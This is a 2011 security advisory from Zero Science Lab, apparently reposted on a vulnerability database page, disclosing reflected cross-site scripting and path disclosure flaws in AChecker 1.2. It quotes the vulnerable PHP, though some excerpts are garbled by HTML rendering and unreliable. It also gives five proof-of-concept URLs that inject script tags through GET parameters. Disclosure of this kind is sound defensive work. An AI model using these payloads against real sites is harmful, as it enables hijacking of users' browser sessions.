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AChecker 1.2 Multiple Remote XSS/PD Vulnerabilities

🗓️ 06 Aug 2011 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 30 Views

AChecker 1.2 Multiple Remote XSS/PD Vulnerabilities in Web Accessibility Evaluation Tool with unfiltered GET Parameter

Code
<html><body><p>AChecker 1.2 Multiple Remote XSS/PD Vulnerabilities


Vendor: ATutor (Inclusive Design Institute)
Product web page: http://www.atutor.ca
Affected version: 1.2 (build r530)

Summary: AChecker is an open source Web accessibility evaluation tool.
It can be used to review the accessibility of Web pages based on a variety
international accessibility guidelines.

Desc: AChecker suffers from multiple cross-site scripting and path disclosure
vulnerabilities. Input thru the GET parameters 'id', 'p' and 'myown_patch_id'
in several scripts is not sanitized allowing the attacker to execute HTML code
into user's browser session on the affected site and/or disclose the full path
of application's residence ;].


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

- Parameter: id
- Type: GET
- Script: language_add_edit.tmpl.php
- Vulnerable code:
----------------------------------------------------
/themes/default/language/language_add_edit.tmpl.php:
----------------------------------------------------

Line 20: </p><form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;&lt;?php if (isset($_GET[" echo="" id="" method="post" name="input_form">" &gt;

----------------------------------------------------

- PoC: http://localhost/themes/default/language/language_add_edit.tmpl.php?id=210"&gt;<script>alert('zsl')</script>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

- Parameter: p
- Type: GET
- Script: frame_header.php
- Vulnerable code:
----------------------------------------------------
/documentation/frame_header.php:
----------------------------------------------------

Line 17: if (isset($_GET['p'])) {
Line 18:         $this_page = htmlentities($_GET['p']);
Line 19: } else {
Line 20:         exit;
Line 21: }

----------------------------------------------------

- PoC: http://localhost/documentation/frame_header.php?p="&gt;<script>alert('zsl')</script>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

- Parameter: id
- Type: GET
- Script: user_group_create_edit.tmpl.php
- Vulnerable code:
----------------------------------------------------
/themes/default/user/user_group_create_edit.tmpl.php:
----------------------------------------------------

Line 20: </form><form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;&lt;?php if (isset($_GET[" echo="" id="" method="post" name="input_form">" &gt;

----------------------------------------------------

- PoC: http://localhost/themes/default/user/user_group_create_edit.tmpl.php?id=188"&gt;<script>alert('zsl')</script>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

- Parameter: myown_patch_id
- Type: GET
- Script: patch_edit.php
- Vulnerable code:
----------------------------------------------------
/updater/patch_edit.php:
----------------------------------------------------

Line 20: if (!isset($_REQUEST["myown_patch_id"]))
Line 21: {
Line 22:         $msg-&gt;addError('NO_ITEM_SELECTED');
Line 23:         exit;
Line 24: }
Line 25: 
Line 26: $myown_patch_id = $_REQUEST["myown_patch_id"];

----------------------------------------------------

- PoC: http://localhost/updater/patch_edit.php?lang=144&amp;myown_patch_id=144"&gt;<script>alert('zsl')</script>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

- Parameter: id
- Type: GET
- Script: user_create_edit.php
- Vulnerable code:
----------------------------------------------------
/user/user_create_edit.php:
----------------------------------------------------

Line 103: if (isset($_GET['id'])) // edit existing user
Line 104: {
Line 105:         $usersDAO = new UsersDAO();
Line 106:         $savant-&gt;assign('user_row', $usersDAO-&gt;getUserByID($_GET['id']));
Line 107:         $savant-&gt;assign('show_password', false);
Line 108: 
Line 109: }

----------------------------------------------------

- PoC: http://localhost/user/user_create_edit.php?id=78"&gt;<script>alert('zsl')</script>

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@



Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2011-5035
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5035.php


01.08.2011


t00t!
</form></body></html>

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06 Aug 2011 00:00Current
5.7Medium risk
Vulners AI Score5.7
30